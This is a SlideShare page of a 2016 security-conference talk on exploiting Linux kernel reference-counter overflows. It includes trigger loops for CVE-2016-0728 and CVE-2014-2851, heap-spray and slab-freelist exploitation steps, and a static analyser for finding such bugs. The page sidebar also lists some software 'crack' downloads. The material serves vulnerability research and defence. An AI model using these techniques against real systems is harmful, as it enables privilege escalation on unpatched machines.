SlideShare a Scribd company logo

Exploitation of counter overflows in the Linux kernel

Vitaly Nikolenko, profile picture
Vitaly Nikolenko

This document summarizes an exploit talk on counter overflows in the Linux kernel. It discusses how counter overflows can be used to exploit vulnerabilities by overflowing reference counters and triggering object deallocation. It provides examples of real counter overflow vulnerabilities in Linux, such as CVE-2014-2851 and CVE-2016-0728, and outlines the general exploitation procedure, including overflowing the counter, triggering object freeing, overwriting data, and executing code. It also discusses challenges like integer overflow times and techniques like using RCU calls to bypass checks.

Software
1 of 70
Download to read offline
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
Exploiting COF Vulnerabilities in the Linux kernel Vitaly Nikolenko @vnik5287 44con - 2016
Who am I? ‱ Security researcher ‱ Exploit dev / bug hunting / reverse engineering ‱ Twitter: @vnik5287
Agenda 1. Counter overïŹ‚ows in the kernel ‱ Exploitation techniques ‱ Real case studies ‱ Corner cases and challenges 2. COF static code analyser
Introduction ‱ All trivial bugs are ïŹxed (mostly) ‱ Fuzzing (dumb, smart, guided by code coverage) ‱ kmemcheck ‱ Detects use-after-free accesses and uninitialised-memory-reads ‱ SLUB_DEBUG / DEBUG_SLAB ‱ Enables redzones and poisoning (writing magic values to check later) ‱ Can detect some out-of-bounds and use-after-free accesses
Introduction ‱ DEBUG_PAGEALLOC ‱ Unmaps freed pages from address space ‱ Can detect some use-after-free accesses ‱ KASan ‱ Fast and comprehensive solution for both UAF and OOB ‱ Detects out-of-bounds for both writes and reads ‱ KTSan ‱ Fast data-race and deadlock detector
Introduction ‱ Counter overïŹ‚ows are not easily detectable ‱ Would require triggering the vulnerable path 2^32 times before UAF ‱ Existing bug detection techniques are not very useful
Counter overïŹ‚ows ‱ The purpose of the OS is to allow (concurrent) consumers ‱ These consumers have a demand for (shared) resources that the OS needs to manage ‱ The kernel needs to keep reference counters for shared resources, e.g., ïŹle descriptors, sockets, process speciïŹc structs, etc.
Counter overïŹ‚ows ‱ Counter overïŹ‚ows - special case of integer overïŹ‚ows and UAF ‱ There’s a vulnerable kernel path (reachable from user space) where ‱ counter increments > counter decrements (counter overïŹ‚ow) ‱ counter increments < counter decrements (counter underïŹ‚ow)
File refcounting struct ïŹle type = struct file { union { struct llist_node fu_llist; struct callback_head fu_rcuhead; } f_u; struct path f_path; struct inode *f_inode; const struct file_operations *f_op; spinlock_t f_lock; atomic_t f_count; unsigned int f_flags; fmode_t f_mode; struct mutex f_pos_lock; loff_t f_pos; struct fown_struct f_owner; const struct cred *f_cred; struct file_ra_state f_ra; ... }
File refcounting syscall(open, 
) struct file *get_empty_filp(void) { const struct cred *cred = current_cred(); static long old_max; struct file *f; int error; f = kmem_cache_zalloc(filp_cachep, GFP_KERNEL); if (unlikely(!f)) return ERR_PTR(-ENOMEM); percpu_counter_inc(&nr_files); f->f_cred = get_cred(cred); error = security_file_alloc(f); if (unlikely(error)) { file_free(f); return ERR_PTR(error); } INIT_LIST_HEAD(&f->f_u.fu_list); atomic_set(&f->f_count, 1); ...
File refcounting Sharing the fd static inline struct file * get_file(struct file *f) { atomic_inc(&f->f_count); return f; }
File refcounting Closing fd/exiting the process void fput(struct file *file) { if (atomic_dec_and_test(&file->f_count)) { struct task_struct *task = current; file_sb_list_del(file); ... if (llist_add(&file->f_u.fu_llist, &delayed_fput_list)) schedule_delayed_work(&delayed_fput_work, 1); } }
‱ Atomic API implemented by the kernel: ‱ atomic_set - set atomic variable ‱ atomic_inc - increment atomic variable ‱ atomic_dec - decrement atomic variable ‱ atomic_dec_and_test — decrement and test ‱ atomic_inc_and_test — increment and test ‱ etc File refcounting Atomic integers
File refcounting Atomic integers (gdb) ptype atomic_t type = struct { int counter; }
Counter overïŹ‚ows ‱ Data models: ‱ x86 - ILP32 ‱ x86_64 - LP64 ‱ Signed integer 0 to 0xffffffff ‱ OverïŹ‚owing 4 bytes is quick right?
#include <stdio.h> int main() { unsigned int count; for (count = 0; count < 0xffffffff; count++) ; return 0; } test:~ vnik$ time ./t real 0m8.293s user 0m8.267s sys 0m0.015s Counter overïŹ‚ows i7-4870HQ CPU @ 2.50GHz - user space
struct test { atomic_t count; struct rcu_head rcu; }; static void increment() { atomic_inc(&testp->count); } static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { switch(cmd) { case IOCTL_SET: /* set counter value */ atomic_set(&testp->count, args); break; case IOCTL_INCREMENT: increment(); break; ... } Counter overïŹ‚ows i7-4870HQ CPU @ 2.50GHz - kernel space
int main() { int fd; fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) return -1; ioctl(fd, IOCTL_SET, 0); unsigned count; for (count = 0; count < 0xffffffff; count++) ioctl(fd, IOCTL_INCREMENT, 0); } vnik@ubuntu:~/$ time ./trigger1 real58m48.772s user1m17.369s sys 32m49.483s Counter overïŹ‚ows i7-4870HQ CPU @ 2.50GHz - kernel space
‱ At least 30-60 min to overïŹ‚ow (approximately) ‱ Not very practical in certain exploitation scenarios (mobile root?) Counter overïŹ‚ows OverïŹ‚owing kernel integers
Counter overïŹ‚ows void * some_kernel_function() { ... struct file *f = fget(fd); ... if (some_error_condition) goto out; ... if (atomic_dec_and_test(&f—>f_count)) { call_rcu(...); // fput(f) out: return -EINVAL; }
VMM ‱ Kernel implements a virtual memory abstraction layer ‱ Using physical memory allocations is inefïŹcient (fragmentation, increased swapping) ‱ Basic unit of memory is a page (>= 4KB) ‱ Kernel allocates memory internally for a large variety of objects
‱ Pages are divided into smaller ïŹxed chunks (power of 2) aka slabs ‱ Pages containing objects of the same size are grouped into caches ‱ SLAB allocator is the original slab allocator on implementation in OpenSolaris ‱ SLAB (in caps) - speciïŹc slab allocator implementation ‱ slab - generic term VMM Terminology
VMM Linux SLUB allocator ‱ Starting from 2.6 branch, the slab allocator can be selected at compile time (SLAB, SLUB, SLOB, SLQB) ‱ SLUB is the default slab allocator on Linux ‱ All allocators perform the same function (and are mutually exclusive) but there’re signiïŹcant differences in exploitation
‱ General-purpose allocations (kmalloc/kzalloc) are for objects of size 8, 16, 32, 64, 128, 
, 8192 bytes ‱ Objects that are not power of 2 are rounded up to the next closest slab size ‱ Special-purpose allocations (kmem_cache_alloc) are for frequently-used objects ‱ Objects of the ~same size are grouped into the same cache VMM Linux SLUB allocator
‱ No metadata in slabs ‱ Instead, each slab page (struct page) has SLUB metadata (freelist ptr, etc) ‱ Free objects have a pointer (at offset=0) to the next free object in the slab (i.e., linked list) ‱ The last free object in the slab has its next pointer set to NUL VMM Linux SLUB allocator
Free object Free object Free object Allocated object Allocated object SLUB page { freelist* index=0; inuse=2; objects=5; 
 NULL VMM Linux SLUB allocator
Counter overïŹ‚ows Exploitation procedure 1. OverïŹ‚ow the counter by calling the vulnerable path A() until the counter —> 0 2. Find path B() that triggers kfree() if counter == 0 3. Start allocating target objects to ïŹll partial slabs of the same size C() 4. Use the old object reference to 1. Modify the target object, or 2. Execute the (overwritten) function ptr in the vulnerable object 5. Trigger the overwritten function ptr in the target object
Counter overïŹ‚ows Step 4 - option #1 // assume sizeof(struct A) == sizeof(struct B) struct A {‹ atomic_t counter; int some_var; ... }; struct B {‹ void (∗func)(); ... }; // Old kernel path ... a->some_var = 0; ...
Counter overïŹ‚ows Step 4 - option #2 // assume sizeof(struct A) == sizeof(struct B) struct A {‹ atomic_t counter; void (*func)(); ... }; struct B {‹ int dummy; long user_controlled_var; ... }; // Old kernel path ... a->func(...); ...
‱ Find the target object B, s.t., 1. B has user-controlled variables 2. The user-controlled variable is aligned with the function pointer in the vulnerable object A Counter overïŹ‚ows Step 4 - option #2 Vulnerable object A Target object B void (*func)(); user-controlled data . . . . . . . . . . . .
struct { long mtype; char mtext[ARBITRARY_LEN]; } msg; memset(msg.mtext, 'A', sizeof(msg.mtext)); msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { ... Counter overïŹ‚ows msgsnd() syscall
long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns; ns = current->nsproxy->ipc_ns; if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL; msg = load_msg(mtext, msgsz); ... Counter overïŹ‚ows msgsnd() syscall
struct msg_msg *load_msg(const void __user *src, size_t len) { struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen; msg = alloc_msg(len); if (msg == NULL) return ERR_PTR(-ENOMEM); alen = min(len, DATALEN_MSG); if (copy_from_user(msg + 1, src, alen)) goto out_err; ... Counter overïŹ‚ows msgsnd() syscall
RCU ‱ Kernel counter decrements and object freeing are often implemented via RCU calls ‱ This introduces indeterminism in counter values ‱ If 0-check is done using an RCU callback, can skip the check and overïŹ‚ow past 0
RCU ‱ Read-Copy Update - synchronisation mechanism (replacement for read-writer locking) ‱ Available since 2002 ‱ Low-overhead readers, immune to deadlocks, readers can run concurrently with updaters, etc. ‱ rcu_read_lock()/rcu_read_unlock(), rcu_assign_pointer(), rcu_dereference(), etc. ‱ Kernel API in ./Documentation/RCU/rcu.txt
RCU void call_rcu(struct rcu_head *head, void (*callback) (void *head)); ‱ This call invokes a callback function callback() after all the CPUs have gone through at least one quiescent state. ‱ “For performance reasons, good implementations of RCU do not wait for completion of the quiescent cycle. Instead, they queue the cycle in batches and return.”
‱ The CPU performs a process switch ‱ The CPU starts executing in user mode ‱ The CPU executes the idle loop RCU Quiescent state
static void callback_fn() { atomic_dec(&testp->count); } static void testfn() { atomic_inc(&testp->count); call_rcu(&testp->rcu, callback_fn); } static long device_ioctl(struct file *file, unsigned cmd, unsigned long args) { switch(cmd) { case IOCTL_SET: /* set counter value */ atomic_set(&testp->count, args); break; case IOCTL_TEST: /* increment and decrement the count */ testfn(); break; ... RCU
int main() { int fd, i; fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); return -1; } ioctl(fd, IOCTL_SET, 0); for (i=0; i < 100; i++) { ioctl(fd, IOCTL_TEST, NULL); } RCU User-space trigger
(gdb) b testfn Breakpoint 17 at 0xffffffffa02250c0: file /home/vnik/rcu/rcu.c, line 64. (gdb) commands Type commands for breakpoint(s) 17, one per line. >silent >p testp->count >c >end (gdb) c Continuing. $150 = {counter = 0} $151 = {counter = 1} $152 = {counter = 2} $153 = {counter = 2} $154 = {counter = 3} $155 = {counter = 3} $156 = {counter = 4} $157 = {counter = 4} $158 = {counter = 2} $159 = {counter = 2} $160 = {counter = 3} ... RCU RCU calls
int main() { int fd, i; fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); return -1; } ioctl(fd, IOCTL_SET, 0); for (i=0; i < 100; i++) { ioctl(fd, IOCTL_TEST, NULL); sleep(1); // let the CPU go through a quiescent state } RCU User-space trigger
(gdb) b testfn Breakpoint 18 at 0xffffffffa02250c0: file /home/vnik/rcu/rcu.c, line 64. (gdb) commands Type commands for breakpoint(s) 18, one per line. >silent >p testp->count >c >end (gdb) c Continuing. $191 = {counter = 0} $192 = {counter = 0} $193 = {counter = 0} $194 = {counter = 0} $195 = {counter = 0} $196 = {counter = 0} $197 = {counter = 0} $198 = {counter = 0} $199 = {counter = 0} $200 = {counter = 0} $201 = {counter = 0} $202 = {counter = 0} $203 = {counter = 0} ... RCU Synchronised RCU calls
Counter overïŹ‚ows Test cases ‱ CVE-2014-2851 - group_info counter overïŹ‚ow (exploit published Jan 2016) ‱ CVE-2016-0728 - keyring counter overïŹ‚ow (write up published 3 weeks later)
CVE-2016-0728 ‱ “This vulnerability has implications for approximately tens of millions of Linux PCs and servers, and 66 percent of all Android devices (phones/tablets).” - Perception Point ‱ Google said company researchers don't believe any Android devices are vulnerable to exploits by third-party applications. It also said researchers believe that the number of Android devices affected is "signiïŹcantly smaller than initially reported."
CVE-2016-0728 ‱ Reference leak in the keyrings facility ‱ System call interface – keyctl syscall is provided so that userspace programs can use the facility for their own purposes. ‱ Each process can create a keyring for the current session using keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) ‱ The keyring object can be shared between processes by referencing the same keyring name.
CVE-2016-0728 User-space trigger for (i = 0; i < 0xfffffffd; i++) { serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "mykeyring"); if (serial < 0) { perror("keyctl"); return -1; } }
CVE-2016-0728 long join_session_keyring(const char *name) { ... new = prepare_creds(); // increment the counter keyring = find_keyring_by_name(name, false); if (PTR_ERR(keyring) == -ENOKEY) { ... } else if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } else if (keyring == new->session_keyring) { ret = 0; goto error2; } ... key_put(keyring); okay: return ret; error2: mutex_unlock(&key_session_mutex); error: abort_creds(new); // decrement the counter via RCU return ret; }
CVE-2016-0728 struct key struct key { atomic_t usage; /* number of references */ key_serial_t serial; /* key serial number */ ... union { struct keyring_index_key index_key; struct { struct key_type *type; /* type of key */ char *description; }; }; ...
CVE-2016-0728 Vulnerable object ‱ keyring object is of type struct key ‱ The object size is 184 bytes —> kmalloc-192 cache ‱ type ptr points to key_type struct containing function pointers: struct key_type { ... int (*vet_description)(const char *description); int (*preparse)(struct key_preparsed_payload *prep); void (*free_preparse)(struct key_preparsed_payload *prep); int (*instantiate)(struct key *key, struct key_preparsed_payload *prep); int (*update)(struct key *key, struct key_preparsed_payload *prep); int (*match_preparse)(struct key_match_data *match_data); void (*match_free)(struct key_match_data *match_data); void (*revoke)(struct key *key); ...
CVE-2016-0728 Exploitation 1. OverïŹ‚ow the keyring reference counter and trigger kfree() ‱ Increment to 0xffffffff - eps, then eps ordered steps with sleep(1) 2. Allocate the target object replacing the vulnerable object (option 2) 3. Trigger the overwritten function ptr in keyring, e.g., type->revoke()
CVE-2016-0728 Exploitation 128 < x <= 192 bytes struct key_type *type; 0xdeadbeef Target object X void (*revoke)(
); struct key_type at 0xdeadbeef User space Kernel space . . . . . . . . . . . . . . . . .
CVE-2014-2851 ‱ Counter overïŹ‚ow in ping_init_sock() socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); ‱ The vulnerable path can be reached by non- privileged users
CVE-2014-2851 Vulnerable path int ping_init_sock(struct sock *sk) { struct net *net = sock_net(sk); kgid_t group = current_egid(); struct group_info *group_info = get_current_groups(); int i, j, count = group_info->ngroups; kgid_t low, high; inet_get_ping_group_range_net(net, &low, &high); if (gid_lte(low, group) && gid_lte(group, high)) return 0; ...
CVE-2014-2851 struct group_info ‱ sizeof(struct group_info) = 140 bytes (kmalloc-192) type = struct group_info { atomic_t usage; int ngroups; int nblocks; kgid_t small_block[32]; kgid_t *blocks[]; }
CVE-2014-2851 Challenges ‱ group_info is a frequently used object ‱ Does not contain any function pointers ‱ Cannot modify any object values (except for incrementing the refcounter) ‱ Race window between group_info free and target object allocation is very small ‱ Other processes use the old reference
CVE-2014-2851 Challenges Free object Free object Free object Freed object Allocated object SLUB page { freelist* index=0; inuse=1; objects=5; 
 NULL *freeptr
CVE-2014-2851 Exploitation - slab metadata overwrite 1. Increment the group_info usage counter close to 0xffffffff by creating ICMP sockets 2. Increment the usage counter by 1 and try to free group_info via faccessat() && repeat 3. Keep incrementing the group_info usage counter until it points to some user-space memory address 4. Map this region in user space and memset it to 0 5. Start allocating structure X in kernel space that has the size 128-192 bytes 6. The SLUB allocator will allocate this structure X at our user-space address
CVE-2014-2851 Exploitation - slab metadata overwrite Free object Free object Free object Freed object Allocated object SLUB page { freelist* index=0; inuse=1; objects=5; 
 NULL *freeptr struct file User space
COF Static Code Analyser
COF Analyser Algorithm Step 1: CFG with inlined function invocations Step 2: CFG —> NFA Step 3: NFA —> DFA Step 4: DFA —> RE
‱ CFG for the entire kernel, then focus on user-space reachable code only (syscalls, ioctls, socket operations, etc.) ‱ LLVM for the kernel - http://llvm.linuxfoundation.org ‱ GCC Link Time Optimisation (LTO) - “gives GCC the capability of dumping its internal representation (GIMPLE) to disk, so that all the different compilation units that make up a single executable can be optimised as a single module.” - https://gcc.gnu.org/wiki/LinkTimeOptimization COF Analyser CFG
‱ GCC performs optimisation work in “passes” that form trees ‱ Custom pass called directly after the GCC “cfg” pass ‱ CFG for every function in the kernel, followed by manual function inlining COF Analyser CFG BB func1: func2(); BB2 func1: ... BB1 func1 BB2 func1: ... BB1 func2: ... BBn func2: ... CFG func2
[Block main 1] [Block main 0] [Block main 2] a = 1; [Block main 3] [Block main 3.0] increment (&shared); [Block main 2.0] increment (&shared); [Block main 5] <L2>: return D.2309; [Block main 4] D.2309 = 0; [Block main 2.1] decrement (&shared); if (a == 0) struct shared_struct shared; int main(int argc, char **argv) { int a = 0; increment(&shared); decrement(&shared); if (!a) increment(&shared); return 0; } COF Analyser CFG
‱ Each basic block represents a state in the NFA ‱ Basic blocks containing the counter increment/ decrement functions are split into two states ‱ The edge (transition) between these two states is labeled with V (increment) or P (decrement) ‱ All other transitions are labeled with epsilon COF Analyser CFG -> NFA
a = 1; increment(); b = 1; if ( 
 ) S1 S2 S2 V eps start end start = end COF Analyser CFG -> NFA
0 1 eps 2 eps 3 V 4 eps 5 P 6eps 9 eps 7eps 8 V eps 10 eps 11 eps 0 1 eps 2 eps 3 V 4 eps 5 P 6 eps 7 eps 8 eps 9 V 10 eps 11eps eps NFA DFA COF Analyser NFA -> DFA
‱ Convert the obtained DFA to a regular expression ‱ Change semantics of the language operations (language composition, union, closure, etc.) ‱ The outcome is the oracle algorithm: yes or no answer ‱ Can then reconstruct the original path from NFA COF Analyser DFA -> RE
‱ Eliminating false-positives ‱ “Points-to” analysis some_struct->func_ptr() ‱ Rewriting automata manipulation algorithms COF Analyser Challenges and improvements
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos, size_t count, loff_t max) { struct fd in, out; ... in = fdget(in_fd); if (!in.file) goto out; if (!(in.file->f_mode & FMODE_READ)) goto fput_in; fput_out: fdput(out); fput_in: fdput(in); out: return retval; } COF Analyser sendïŹle syscall
Questions?

More Related Content

PDF
Process Address Space: The way to create virtual address (page table) of user...
Adrian Huang
 
PDF
malloc & vmalloc in Linux
Adrian Huang
 
PDF
How to use KASAN to debug memory corruption in OpenStack environment- (2)
Gavin Guo
 
PPTX
Linux Network Stack
Adrien Mahieux
 
PPTX
Linux MMAP & Ioremap introduction
Gene Chang
 
PPTX
Slab Allocator in Linux Kernel
Adrian Huang
 
PDF
Linux Networking Explained
Thomas Graf
 
PPTX
qemu + gdb + sample_code: Run sample code in QEMU OS and observe Linux Kernel...
Adrian Huang
 
Process Address Space: The way to create virtual address (page table) of user...
Adrian Huang
 
malloc & vmalloc in Linux
Adrian Huang
 
How to use KASAN to debug memory corruption in OpenStack environment- (2)
Gavin Guo
 
Linux Network Stack
Adrien Mahieux
 
Linux MMAP & Ioremap introduction
Gene Chang
 
Slab Allocator in Linux Kernel
Adrian Huang
 
Linux Networking Explained
Thomas Graf
 
qemu + gdb + sample_code: Run sample code in QEMU OS and observe Linux Kernel...
Adrian Huang
 

What's hot (20)

PDF
Decompressed vmlinux: linux kernel initialization from page table configurati...
Adrian Huang
 
PPTX
Linux kernel debugging
Hao-Ran Liu
 
PDF
spinlock.pdf
Adrian Huang
 
PDF
eBPF Perf Tools 2019
Brendan Gregg
 
PDF
Monitoring MySQL with DTrace/SystemTap
Padraig O'Sullivan
 
PDF
Linux Kernel - Virtual File System
Adrian Huang
 
PPTX
Linux Kernel Booting Process (2) - For NLKB
shimosawa
 
PPT
Bootstrap process of u boot (NDS32 RISC CPU)
Macpaul Lin
 
PDF
LLVM Register Allocation
Wang Hsiangkai
 
PDF
Understanding Open vSwitch
YongKi Kim
 
PDF
Linux dma engine
pradeep_tewani
 
PDF
I/Oä»źæƒłćŒ–æœ€ć‰ç·šă€œăƒăƒƒăƒˆăƒŻăƒŒă‚ŻI/Oă‚’äž­ćżƒă«ă€œ
Ryousei Takano
 
PDF
ACPI Debugging from Linux Kernel
SUSE Labs Taipei
 
PPTX
Understanding DPDK
Denys Haryachyy
 
ODP
Dpdk performance
Stephen Hemminger
 
PDF
Intel DPDK Step by Step instructions
Hisaki Ohara
 
PDF
Physical Memory Management.pdf
Adrian Huang
 
PDF
Building Network Functions with eBPF & BCC
Kernel TLV
 
PDF
Performance Analysis Tools for Linux Kernel
lcplcp1
 
PDF
Valgrind tutorial
Satabdi Das
 
Decompressed vmlinux: linux kernel initialization from page table configurati...
Adrian Huang
 
Linux kernel debugging
Hao-Ran Liu
 
spinlock.pdf
Adrian Huang
 
eBPF Perf Tools 2019
Brendan Gregg
 
Monitoring MySQL with DTrace/SystemTap
Padraig O'Sullivan
 
Linux Kernel - Virtual File System
Adrian Huang
 
Linux Kernel Booting Process (2) - For NLKB
shimosawa
 
Bootstrap process of u boot (NDS32 RISC CPU)
Macpaul Lin
 
LLVM Register Allocation
Wang Hsiangkai
 
Understanding Open vSwitch
YongKi Kim
 
Linux dma engine
pradeep_tewani
 
I/Oä»źæƒłćŒ–æœ€ć‰ç·šă€œăƒăƒƒăƒˆăƒŻăƒŒă‚ŻI/Oă‚’äž­ćżƒă«ă€œ
Ryousei Takano
 
ACPI Debugging from Linux Kernel
SUSE Labs Taipei
 
Understanding DPDK
Denys Haryachyy
 
Dpdk performance
Stephen Hemminger
 
Intel DPDK Step by Step instructions
Hisaki Ohara
 
Physical Memory Management.pdf
Adrian Huang
 
Building Network Functions with eBPF & BCC
Kernel TLV
 
Performance Analysis Tools for Linux Kernel
lcplcp1
 
Valgrind tutorial
Satabdi Das
 
Ad

Similar to Exploitation of counter overflows in the Linux kernel (20)

PDF
Auditing the Opensource Kernels
Silvio Cesare
 
PDF
Vmreport
meru2ks
 
PPTX
Back to the CORE
Peter Hlavaty
 
PDF
various tricks for remote linux exploits　 by Seok-Ha Lee (wh1ant)
CODE BLUE
 
PDF
CONFidence 2015: when something overflowing... - Peter Hlavaty
PROIDEA
 
PDF
When is something overflowing
Peter Hlavaty
 
PDF
AllBits presentation - Lower Level SW Security
AllBits BVBA (freelancer)
 
PDF
Davide Berardi - Linux hardening and security measures against Memory corruption
linuxlab_conf
 
PPTX
grsecurity and PaX
Kernel TLV
 
PPTX
Bypassing ASLR Exploiting CVE 2015-7545
Kernel TLV
 
PDF
The Linux Kernel Implementation of Pipes and FIFOs
Divye Kapoor
 
PPTX
Computer Science Homework Help
Programming Homework Help
 
PPT
Linux memory
ericrain911
 
PPTX
Putting a Fork in Fork (Linux Process and Memory Management)
David Evans
 
PPTX
operating system
shreeuva
 
PDF
lwref: insane idea on reference counting
Gleb Smirnoff
 
PDF
CONFidence 2017: Escaping the (sand)box: The promises and pitfalls of modern ...
PROIDEA
 
PPT
[CCC-28c3] Post Memory Corruption Memory Analysis
Moabi.com
 
PPTX
Operating System Assignment Help
Programming Homework Help
 
PPT
Updates
Isa Ansharullah
 
Auditing the Opensource Kernels
Silvio Cesare
 
Vmreport
meru2ks
 
Back to the CORE
Peter Hlavaty
 
various tricks for remote linux exploits　 by Seok-Ha Lee (wh1ant)
CODE BLUE
 
CONFidence 2015: when something overflowing... - Peter Hlavaty
PROIDEA
 
When is something overflowing
Peter Hlavaty
 
AllBits presentation - Lower Level SW Security
AllBits BVBA (freelancer)
 
Davide Berardi - Linux hardening and security measures against Memory corruption
linuxlab_conf
 
grsecurity and PaX
Kernel TLV
 
Bypassing ASLR Exploiting CVE 2015-7545
Kernel TLV
 
The Linux Kernel Implementation of Pipes and FIFOs
Divye Kapoor
 
Computer Science Homework Help
Programming Homework Help
 
Linux memory
ericrain911
 
Putting a Fork in Fork (Linux Process and Memory Management)
David Evans
 
operating system
shreeuva
 
lwref: insane idea on reference counting
Gleb Smirnoff
 
CONFidence 2017: Escaping the (sand)box: The promises and pitfalls of modern ...
PROIDEA
 
[CCC-28c3] Post Memory Corruption Memory Analysis
Moabi.com
 
Operating System Assignment Help
Programming Homework Help
 
Updates
Isa Ansharullah
 
Ad

Recently uploaded (20)

PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
itskinga12
 
PPTX
ai tools demonstartion for schools and inter college
harshavardhanreddyka11
 
PPTX
Introduction to Artificial Intelligence
lohedi9363
 
PPTX
L1 - Introduction to python Backend.pptx
MoizAhmed480282
 
PPTX
CHAPTER 2 - PM Management and IT Context
KevinPutra14
 
PDF
Softaken Excel to vCard Converter Software.pdf
markwillsonmw004
 
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
IT IDOL Technologies
 
PDF
medical staffing services at VALiNTRY
Tiyan Grayson
 
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
Aetos Technologies
 
PDF
Design an Analysis of Algorithms I-SECS-1021-03
DilanEscobar1
 
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
skmiani786
 
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
deepakkhaitan3
 
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
Asian Business Services & Technologies
 
PDF
Nekopoi APK 2025 free lastest update
umarali35kp
 
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
blackmambaettijean
 
PDF
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
OnePlan Solutions
 
PDF
Wondershare Filmora 15 Crack With Activation Key [2025
ghrom2211g
 
PDF
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
Andre Kraus
 
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
Conacent Consulting
 
PDF
System and Network Administration Chapter 2
jaramharo
 
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
itskinga12
 
ai tools demonstartion for schools and inter college
harshavardhanreddyka11
 
Introduction to Artificial Intelligence
lohedi9363
 
L1 - Introduction to python Backend.pptx
MoizAhmed480282
 
CHAPTER 2 - PM Management and IT Context
KevinPutra14
 
Softaken Excel to vCard Converter Software.pdf
markwillsonmw004
 
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
IT IDOL Technologies
 
medical staffing services at VALiNTRY
Tiyan Grayson
 
2025 Textile ERP Trends: SAP, Odoo & Oracle
Aetos Technologies
 
Design an Analysis of Algorithms I-SECS-1021-03
DilanEscobar1
 
wealthsignaloriginal-com-DS-text-... (1).pdf
skmiani786
 
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
deepakkhaitan3
 
How to Choose the Right IT Partner for Your Business in Malaysia
Asian Business Services & Technologies
 
Nekopoi APK 2025 free lastest update
umarali35kp
 
VVF-Customer-Presentation2025-Ver1.9.pptx
blackmambaettijean
 
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
OnePlan Solutions
 
Wondershare Filmora 15 Crack With Activation Key [2025
ghrom2211g
 
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
Andre Kraus
 
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
Conacent Consulting
 
System and Network Administration Chapter 2
jaramharo
 

Exploitation of counter overflows in the Linux kernel

  • 1. Exploiting COF Vulnerabilities in the Linux kernel Vitaly Nikolenko @vnik5287 44con - 2016
  • 2. Who am I? ‱ Security researcher ‱ Exploit dev / bug hunting / reverse engineering ‱ Twitter: @vnik5287
  • 3. Agenda 1. Counter overïŹ‚ows in the kernel ‱ Exploitation techniques ‱ Real case studies ‱ Corner cases and challenges 2. COF static code analyser
  • 4. Introduction ‱ All trivial bugs are ïŹxed (mostly) ‱ Fuzzing (dumb, smart, guided by code coverage) ‱ kmemcheck ‱ Detects use-after-free accesses and uninitialised-memory-reads ‱ SLUB_DEBUG / DEBUG_SLAB ‱ Enables redzones and poisoning (writing magic values to check later) ‱ Can detect some out-of-bounds and use-after-free accesses
  • 5. Introduction ‱ DEBUG_PAGEALLOC ‱ Unmaps freed pages from address space ‱ Can detect some use-after-free accesses ‱ KASan ‱ Fast and comprehensive solution for both UAF and OOB ‱ Detects out-of-bounds for both writes and reads ‱ KTSan ‱ Fast data-race and deadlock detector
  • 6. Introduction ‱ Counter overïŹ‚ows are not easily detectable ‱ Would require triggering the vulnerable path 2^32 times before UAF ‱ Existing bug detection techniques are not very useful
  • 7. Counter overïŹ‚ows ‱ The purpose of the OS is to allow (concurrent) consumers ‱ These consumers have a demand for (shared) resources that the OS needs to manage ‱ The kernel needs to keep reference counters for shared resources, e.g., ïŹle descriptors, sockets, process speciïŹc structs, etc.
  • 8. Counter overïŹ‚ows ‱ Counter overïŹ‚ows - special case of integer overïŹ‚ows and UAF ‱ There’s a vulnerable kernel path (reachable from user space) where ‱ counter increments > counter decrements (counter overïŹ‚ow) ‱ counter increments < counter decrements (counter underïŹ‚ow)
  • 9. File refcounting struct ïŹle type = struct file { union { struct llist_node fu_llist; struct callback_head fu_rcuhead; } f_u; struct path f_path; struct inode *f_inode; const struct file_operations *f_op; spinlock_t f_lock; atomic_t f_count; unsigned int f_flags; fmode_t f_mode; struct mutex f_pos_lock; loff_t f_pos; struct fown_struct f_owner; const struct cred *f_cred; struct file_ra_state f_ra; ... }
  • 10. File refcounting syscall(open, 
) struct file *get_empty_filp(void) { const struct cred *cred = current_cred(); static long old_max; struct file *f; int error; f = kmem_cache_zalloc(filp_cachep, GFP_KERNEL); if (unlikely(!f)) return ERR_PTR(-ENOMEM); percpu_counter_inc(&nr_files); f->f_cred = get_cred(cred); error = security_file_alloc(f); if (unlikely(error)) { file_free(f); return ERR_PTR(error); } INIT_LIST_HEAD(&f->f_u.fu_list); atomic_set(&f->f_count, 1); ...
